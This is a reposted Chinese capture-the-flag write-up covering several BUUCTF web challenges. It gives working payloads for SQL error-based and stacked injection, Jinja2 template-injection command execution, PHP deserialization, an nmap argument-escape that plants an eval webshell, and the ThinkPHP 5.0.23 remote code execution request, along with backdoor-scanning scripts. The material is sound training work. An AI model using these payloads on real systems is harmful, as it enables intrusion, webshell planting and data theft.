BUUCTF_WEB_20200920


WEB- 高明的黑客

考點:通過$_GET或者$_POST傳參回顯

找到www.tar.gz,發現大量php文件

當時並沒有多想,后來看了大佬們的wp才知道可以通過$_GET或者$_POST傳參回顯,可以寫個腳本批量掃描一下文件里的$_GET和$_POST,然后統一賦值echo "got it",如果回顯結果中包含got it,那么證明該文件為可用shell下附大佬們的腳本:

import os
import re
import requests
filenames = os.listdir('D:/phpStudy/PHPTutorial/WWW/src/')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
    print(name)
    with open('D:/phpStudy/PHPTutorial/WWW/src/'+name,'r') as f:
        data = f.read()
    result = list(set(pattern.findall(data)))

    for ret in result:
        try:
            command = 'echo "got it"'
            flag = 'got it'
            # command = 'phpinfo();'
            # flag = 'phpinfo'
            if 'GET' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.get(url='http://127.0.0.1//src/' + name + '?' + passwd + '='+ command)
                if "got it" in r.text:
                    print('backdoor file is: ' + name)
                    print('GET:  ' + passwd)
            elif 'POST' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.post(url='http://127.0.0.1//src/' + name,data={passwd:command})
                if "got it" in r.text:
                    print('backdoor file is: ' + name)
                    print('POST: ' + passwd)
        except : pass

或者這個也可以

import os
import requests
from multiprocessing import Pool

path = "D:/phpStudy/PHPTutorial/WWW/src/"
files = os.listdir(path)
url = "http://localhost/src/"


def extract(f):
    gets = []
    with open(path+f, 'r') as f:
        lines = f.readlines()
        lines = [i.strip() for i in lines]
        for line in lines:
            if line.find("$_GET['") > 0:
                start_pos = line.find("$_GET['") + len("$_GET['")
                end_pos = line.find("'", start_pos)
                gets.append(line[start_pos:end_pos])
    return gets


def exp(start, end):
    for i in range(start, end):
        filename = files[i]
        gets = extract(filename)
        print ("try: %s" % filename)
        for get in gets:
            new_url = "%s%s?%s=%s" % (url, filename, get, 'echo "got it"')
            r = requests.get(new_url)
            if 'got it' in r.content:
                print (new_url)
                break


def main():
    pool = Pool(processes=15)
    for i in range(0, len(files), len(files)/15):
        pool.apply_async(exp, (i, +len(files)/15,))
    pool.close()
    pool.join()


if __name__ == "__main__":
    main()

找到即可利用來getflag:http://web15.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG= cat /flag

flag

flag{1931fe87-4301-4a9e-a3db-90ac8f9c70a5}

WEB-hardsql

原理:報錯注入

有了上次的經驗,這次直接上雙寫注入,看來已經被過濾了

看來被封死了,想想其他的辦法,可以使用extractvalue和updatexml進行報錯注入,空格和=號沒有,所以我們要使用()來代替空格,使用like來代替=號,爆出來了數據庫名

接下來我們來報表,password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

接下來我們來爆字段password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

接下來我們爆破數據,把password爆破出來admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

貌似只有一半,出題人也是有茶藝使用{left(),right()}

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

'flag{8d4f2e6b-08c7-4270'

'~b-08c7-4270-bb70-60ba1d725ddb}'

flag

flag{8d4f2e6b-08c7-4270-bb70-60ba1d725ddb}

WEB-fakegoogle

考點:ssti模板注入

根據提示知道是ssti模板注入,使用tplmap進行注入。

這里由於tplmap安在了虛擬機中,可能連不上外網,這種辦法最后可以得到flag

還有一種辦法 用Payload測試之后發現是jinjia2的模板引擎,然后構造jinjia2 ssti的命令執行payload:{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}


WEB-[GXYCTF2019]BabySQli

考點:解碼,sql注入

輸入賬號密碼后,回顯一串base32編碼,進行MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5解碼后c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==,繼續base64解碼select * from user where username = '$name',看來是username存在注入點,sqlmap打一波

繼續數據庫名

繼續爆破表名

繼續爆破字段名

繼續爆破數據

嘗試user=admin&pass=123 提示為wrong pass,再嘗試user=aa提示wrong user,說明有admin這個user的。

嘗試union聯合注入,user=' union select 1,2,3 #不報錯,user=' union select 1,2,3,4 #報錯了當查詢的數據不存在的時候,聯合查詢就會構造一個虛擬的數據。
payload:name=1' union select 0,'admin','81dc9bdb52d04dc20036dbd8313ed055'%23&pw=1234

flag

flag{de342396-0e61-49cf-8039-58d374d72113}

WEB-[網鼎杯 2020 青龍組]AreUSerialz

考點:php反序列化、代碼審計

一大串代碼逐個函數進行分析

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

首先這一部分:最重要的GET傳值嘛,先接收$str然后用is_valid函數判斷,檢測通過就反序列化,直接搞一波

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))   //是 chr() 函數(對於8位的ASCII字符串)或 unichr() 函數(對於Unicode對象)的配對函數
            return false;
    return true;
}

上一段就是上面提到的is_valid判斷函數,可以看到傳入的值ascll碼要求在32到125之間,不然就會報錯

 private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

讀取文件函數,在我看來就是暗示filename=flag.php

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

如果op=2那么調用read函數讀取,並且在output()函數里面輸出

private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

輸出函數

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

如果op=2強制變為1,所以可以構建payload

<?php
class FileHandler{
	public $op=2; 	//這里不能加單引號,會報錯
	public $filename = 'flag.php';
	public $content;
}
echo serialize(new FileHandler);

payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}得到flag

flag

flag{230a1906-3900-4ad4-bd57-cdd4cd1d25f8}

WEB-easyjava

考點:

賬號密碼登入,回顯錯誤,除了登陸還有一個help,點進去看看


這種形式有經驗的都會換下請求方式,結果就可以了,初步推測此處的利用包含漏洞找flag文件。
首先報錯是tomcat,包含下tomcat的web,xml試試,結果真的可以
hxxp://127.0.0.1/Downfile?filename=WEB-INF/web.xml

發現了com.wm.ctf.FlagController注意拋錯路徑,然后我們結合tomcat的項目存放路徑經驗試試下載FlagController.class試試果然是有

發現base64,解碼試試看,得到flag


flag

flag{4947c2d5-0d34-4a4f-970e-bc86a856e7c0}

WEB-Online Tool

考點:

1.escapeshellarg()將給字符串增加一個單引號並且能引用或者轉碼任何已經存在的單引號,這樣以確保能夠直接將一個字符串傳入 shell 函數,並且還是確保安全的。對於用戶輸入的部分參數就應該使用這個函數。shell 函數包含exec(),system()執行運算符。2.escapeshellcmd()對字符串中可能會欺騙 shell 命令執行任意命令的字符進行轉義。 此函數保證用戶輸入的數據在傳送到exec()或system()函數,或者執行操作符之前進行轉義。反斜線(\)會在以下字符之前插入:&#;`|*?~<>^()[]{}$,\x0A和\xFF。'和"僅在不配對兒的時候被轉義。 在 Windows 平台上,所有這些字符以及%和!字符都會被空格代替。

引用一個別人的例子:這里有一篇相關的文章。

    1.傳入的參數是:172.17.0.2' -v -d a=1

    2.經過escapeshellarg處理后變成了'172.17.0.2'\'' -v -d a=1',即先對單引號轉義,再用單引號將左右兩部分括起來從而起到連接的作用。

    3.經過escapeshellcmd處理后變成'172.17.0.2'\\'' -v -d a=1\',這是因為escapeshellcmd對\以及最后那個不配對兒的引號進行了轉義

    4.最后執行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由於中間的\\被解釋為\而不再是轉義字符,所以后面的'沒有被轉義,與再后面的'配對兒成了一個空白連接符。所以可以簡化為curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\發起請求,POST 數據為a=1'。

所以這里這些代碼的本意是希望我們輸入ip這樣的參數做一個掃描,通過上面的兩個函數來進行規則過濾轉譯,我們的輸入會被單引號引起來,但是因為我們看到了上面的漏洞所以我們可以逃脫這個引號的束縛這里常見的命令后注入操作如 | & &&都不行,雖然我們通過上面的操作逃過了單引號,但escapeshellcmd會對這些特殊符號前面加上\來轉移,但是我們之前就說了,要利用nmap的-oG參數,所以我們就可以構造payload

    ?host=' <?php @eval($_POST["cmd"]);?> -oG hack.php '

連接蟻劍,得到flag

flag

flag{868b38ef-d296-4705-8870-597ceb9c5305}

WEB-[GYCTF2020]Blacklist

考點:堆疊注入

老朋友先堆疊注入一把

爆破數據庫

爆破數據表

爆破列名

最后上大佬的payload:1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;

flag

flag{58277645-a760-4721-afaa-35c41d181f15

WEB-[BJDCTF 2nd]old-hack

首先打開網站一看,映入眼球,thinkphp,但是不知道是什么版本的所以就想辦法構造一個報錯來讓它顯示一些更詳細的信息http://59429912-fc6a-4d2d-945a-c1aabf47f19f.node3.buuoj.cn/?s=3


這樣就可以看到thinkphp的版本了是5.0.23版本接下來就簡單了求助度娘,查找thinkphp5.0.23對應版本的漏洞最后在網上找到了這樣一篇,thinkphp5.0.23的遠程命令執行的漏洞。之后就可以嘗試這個RCE漏洞是否可以執行直接利用hackbar進行post傳參,內容如下_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

發現可以,那就直接利用cat /flag查看flag,構造payload: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

flag

flag{f2197a96-718a-4742-8abe-eb475577a4ad}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM